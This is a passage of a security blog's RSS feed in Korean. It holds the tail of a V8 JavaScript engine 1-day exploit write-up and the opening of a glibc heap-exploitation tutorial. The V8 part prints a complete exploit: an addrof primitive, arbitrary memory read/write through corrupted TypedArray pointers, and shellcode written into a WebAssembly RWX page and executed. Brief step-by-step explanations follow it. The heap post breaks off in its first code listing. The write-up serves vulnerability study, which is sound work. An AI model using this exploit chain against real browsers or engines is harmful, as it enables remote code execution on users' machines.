style=&quot;color: #b5cea8;&quot;&gt;128&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;2&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;6&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;109&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;101&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;109&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;111&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;114&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;121&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;2&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;4&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;109&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;97&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;105&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;110&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;10&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;138&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;128&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;128&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;128&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;1&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;132&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;128&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;128&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;128&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;65&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;42&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;11&lt;/span&gt;]);&lt;br /&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;var&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;wasm_mod&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;new&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #4ec9b0;&quot;&gt;WebAssembly&lt;/span&gt;.&lt;span style=&quot;color: #4ec9b0;&quot;&gt;Module&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;wasm_code&lt;/span&gt;);&lt;br /&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;var&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;wasm_instance&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;new&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #4ec9b0;&quot;&gt;WebAssembly&lt;/span&gt;.&lt;span style=&quot;color: #4ec9b0;&quot;&gt;Instance&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;wasm_mod&lt;/span&gt;);&lt;br /&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;var&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;exec&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;wasm_instance&lt;/span&gt;.&lt;span style=&quot;color: #4fc1ff;&quot;&gt;exports&lt;/span&gt;.&lt;span style=&quot;color: #9cdcfe;&quot;&gt;main&lt;/span&gt;;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;let&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;addrof&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;function&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;obj&lt;/span&gt;)&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;var&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;x&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;v&lt;/span&gt;();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;x&lt;/span&gt;[&lt;span style=&quot;color: #b5cea8;&quot;&gt;1&lt;/span&gt;]&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;obj&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;var&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;addr&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;double_to_int&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;x&lt;/span&gt;[&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;][&lt;span style=&quot;color: #b5cea8;&quot;&gt;16&lt;/span&gt;])[&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;];&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;return&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;addr&lt;/span&gt;;&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;let&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;AAR_AAW_init&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;function&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;addr&lt;/span&gt;)&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;//&amp;nbsp;compressed&amp;nbsp;absolute&amp;nbsp;read/write&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;//&amp;nbsp;addr:&amp;nbsp;32bit,&amp;nbsp;isolate&amp;nbsp;=&amp;nbsp;v8&amp;nbsp;heap&amp;nbsp;base&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;var&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;x&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;v&lt;/span&gt;();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;var&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;obj&lt;/span&gt;&amp;nbsp;=&amp;nbsp;[&lt;span style=&quot;color: #b5cea8;&quot;&gt;987.654&lt;/span&gt;];&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;var&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;leak&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;double_to_int&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;x&lt;/span&gt;[&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;][&lt;span style=&quot;color: #b5cea8;&quot;&gt;21&lt;/span&gt;]);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;x&lt;/span&gt;[&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;][&lt;span style=&quot;color: #b5cea8;&quot;&gt;21&lt;/span&gt;]&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;int_to_double&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;leak&lt;/span&gt;[&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;],&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;addr&lt;/span&gt;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;//&amp;nbsp;elements&amp;nbsp;=&amp;nbsp;addr&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;leak&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;double_to_int&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;x&lt;/span&gt;[&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;][&lt;span style=&quot;color: #b5cea8;&quot;&gt;22&lt;/span&gt;]);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;x&lt;/span&gt;[&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;][&lt;span style=&quot;color: #b5cea8;&quot;&gt;22&lt;/span&gt;]&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;int_to_double&lt;/span&gt;(&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x10000&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;leak&lt;/span&gt;[&lt;span style=&quot;color: #b5cea8;&quot;&gt;1&lt;/span&gt;]);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;//&amp;nbsp;length&amp;nbsp;=&amp;nbsp;0x10000&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;return&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;obj&lt;/span&gt;;&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;let&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;AAR_AAW_full_init&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;function&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;addr&lt;/span&gt;)&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;//&amp;nbsp;uncompressed&amp;nbsp;absolute&amp;nbsp;read/write&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;//&amp;nbsp;addr:&amp;nbsp;64bit&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;var&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;obj&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;new&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #4ec9b0;&quot;&gt;Uint32Array&lt;/span&gt;(&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x40&lt;/span&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;var&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;obj_addr&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;addrof&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;obj&lt;/span&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;var&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;tmp&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;AAR_AAW_init&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;obj_addr&lt;/span&gt;);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;tmp&lt;/span&gt;[&lt;span style=&quot;color: #b5cea8;&quot;&gt;4&lt;/span&gt;]&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;long_to_double&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;addr&lt;/span&gt;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;//&amp;nbsp;elements&amp;nbsp;=&amp;nbsp;addr&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;return&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;obj&lt;/span&gt;;&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;var&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;leak&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;addrof&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;wasm_instance&lt;/span&gt;);&lt;br /&gt;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;console&lt;/span&gt;.&lt;span style=&quot;color: #dcdcaa;&quot;&gt;log&lt;/span&gt;(&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;WASM&amp;nbsp;Instance&amp;nbsp;=&amp;nbsp;&quot;&lt;/span&gt;+&lt;span style=&quot;color: #dcdcaa;&quot;&gt;hex&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;leak&lt;/span&gt;));&lt;br /&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;var&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;AAR_AAW&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;AAR_AAW_init&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;leak&lt;/span&gt;);&lt;br /&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;var&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;RWX&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;double_to_long&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;AAR_AAW&lt;/span&gt;[&lt;span style=&quot;color: #b5cea8;&quot;&gt;12&lt;/span&gt;]);&lt;br /&gt;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;console&lt;/span&gt;.&lt;span style=&quot;color: #dcdcaa;&quot;&gt;log&lt;/span&gt;(&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;RWX&amp;nbsp;Memory&amp;nbsp;=&amp;nbsp;&quot;&lt;/span&gt;+&lt;span style=&quot;color: #dcdcaa;&quot;&gt;hex&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;RWX&lt;/span&gt;));&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;var&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;AAR_AAW_full&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;AAR_AAW_full_init&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;RWX&lt;/span&gt;+&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x2E0&lt;/span&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;n&lt;/span&gt;);&lt;br /&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;var&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;shellcode&lt;/span&gt;&amp;nbsp;=&amp;nbsp;[&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x3ac0c748&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;0xf000000&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;0xf8834805&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;0xc3017400&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x782fb848&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x636c6163&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x48500000&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x73752fb8&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x69622f72&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x8948506e&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;0xc03148e7&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x89485750&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;0xd23148e6&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x3ac0c748&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x50000030&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x4944b848&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x414c5053&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x48503d59&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x3148e289&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x485250c0&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;0xc748e289&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x3bc0&lt;/span&gt;,&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x50f00&lt;/span&gt;];&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #c586c0;&quot;&gt;for&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color: #569cd6;&quot;&gt;var&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;i&lt;/span&gt;=&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;&amp;nbsp;;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;i&lt;/span&gt;&amp;lt;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;shellcode&lt;/span&gt;.&lt;span style=&quot;color: #9cdcfe;&quot;&gt;length&lt;/span&gt;&amp;nbsp;;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;i&lt;/span&gt;++)&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;AAR_AAW_full&lt;/span&gt;[&lt;span style=&quot;color: #9cdcfe;&quot;&gt;i&lt;/span&gt;]&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;shellcode&lt;/span&gt;[&lt;span style=&quot;color: #9cdcfe;&quot;&gt;i&lt;/span&gt;];&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;exec&lt;/span&gt;();&lt;/div&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;Screenshot from 2020-09-11 18-38-33.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1080&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bABG6y/btqIz5RYLGg/2uywKKQMCyAasCkRODgsoK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bABG6y/btqIz5RYLGg/2uywKKQMCyAasCkRODgsoK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bABG6y/btqIz5RYLGg/2uywKKQMCyAasCkRODgsoK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbABG6y%2FbtqIz5RYLGg%2F2uywKKQMCyAasCkRODgsoK%2Fimg.png&quot; data-filename=&quot;Screenshot from 2020-09-11 18-38-33.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1080&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1.&lt;/b&gt; 객체의 주소를 구할 수 있는 addrof 를 구현한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;elements[1]&lt;/code&gt; 에 객체를 넣고, 주소를 leak 하면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2.&lt;/b&gt; v8 heap 내부에서 원하는 위치에 값을 자유롭게 읽고 쓸 수 있는 객체를 만든다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;AAR_AAW_init&lt;/code&gt; 함수에 해당하는 부분이다. &lt;code&gt;v&lt;/code&gt; 를 호출한 뒤 바로 객체를 생성하면 해당 객체는 &lt;code&gt;x&lt;/code&gt; 바로 뒤의 공간에 온다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;obj&lt;/code&gt; 의 elements 의 주소와 length 를 수정했다. (length 를 크게 잡아주지 않으면, 범위를 벗어날 때 undefined 값이 들어감)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;3.&lt;/b&gt; Full AAR/AAW 객체를 만든다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;AAR_AAW_full_init&lt;/code&gt; 함수에 해당하는 부분이다. V8의 JSTypedArray 는 &lt;code&gt;base_pointer&lt;/code&gt; 와 &lt;code&gt;external_pointer&lt;/code&gt; 값을 들고 있다. 실제 데이터가 쓰여지는 부분은 &lt;code&gt;base_pointer+external_pointer&lt;/code&gt; 인데, 이 값은 compressed pointer가 아닌 실제 주소값을 나타낸다. 따라서 &lt;code&gt;external_pointer&lt;/code&gt; 값을 바꾸면 원하는 위치에 값을 쓰는 게 가능해진다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;4.&lt;/b&gt; RWX 메모리 영역에 코드를 작성한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;WebAssembly를 사용해 RWX mem page를 만들고, TypedArray의 data_ptr 를 RWX 영역으로 놓은 뒤 해당 위치에 쉘코드를 작성하여 RCE를 할 수 있다.&lt;/p&gt;
&lt;/div&gt;</description>
      <category>Analysis/1-day</category>
      <author>Syine Mineta</author>
      <guid isPermaLink="true">https://mineta.tistory.com/154</guid>
      <comments>https://mineta.tistory.com/154#entry154comment</comments>
      <pubDate>Fri, 11 Sep 2020 18:49:34 +0900</pubDate>
    </item>
    <item>
      <title>[Linux] ptmalloc2 Heap Exploitation :: fastbin dup with consolidation</title>
      <link>https://mineta.tistory.com/149</link>
      <description>&lt;div style=&quot;color: black;&quot;&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;b&gt;* 이 글은 glibc 2.23 기준으로 작성되었습니다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;b&gt;* 이 글은 glibc의 heap management가 어떻게 동작하는지 알고 있어야 수월하게 읽을 수 있습니다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;b&gt;* 이 글은 shellphish 팀의&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;https://github.com/shellphish/how2heap&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;how2heap&lt;/a&gt; repository를 참고했습니다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;b&gt;* 컴파일 command line: gcc test.c -o test -Wl,-z,relro -no-pie -fno-stack-protector -O0 -ggdb&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;Last update: 6/26/2020&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;Analysis&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;malloc_consolidate의 특성을 사용해 동일한 chunk를 두 번 할당받는 기법이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;_int_malloc에서는 large chunk 에 해당하는 크기의 할당 요청을 받으면 malloc_consolidate를 실행한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;code-colorize&quot; style=&quot;width: 100%; position: relative !important; overflow: auto; font-size: 14px; font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace !important;&quot;&gt;
&lt;table class=&quot;code-colorize&quot; style=&quot;width: 100%; margin: 0; padding: 0; border: none; border-radius: 4px; background-color: #1e1e1e;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 34px; padding: 6px; padding-left: 14px; padding-right: 14px;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; word-break: normal; text-align: right; line-height: 130%; color: #858585;&quot;&gt;3436&lt;br /&gt;3437&lt;br /&gt;3438&lt;br /&gt;3439&lt;br /&gt;3440&lt;br /&gt;3441&lt;br /&gt;3442&lt;br /&gt;3443&lt;br /&gt;3444&lt;br /&gt;3445&lt;br /&gt;3446&lt;br /&gt;3447&lt;br /&gt;3448&lt;br /&gt;3449&lt;br /&gt;3450&lt;br /&gt;3451&lt;br /&gt;3452&lt;/div&gt;
&lt;/td&gt;
&lt;td style=&quot;padding: 6px; padding-left: 6px; text-align: left;&quot;&gt;
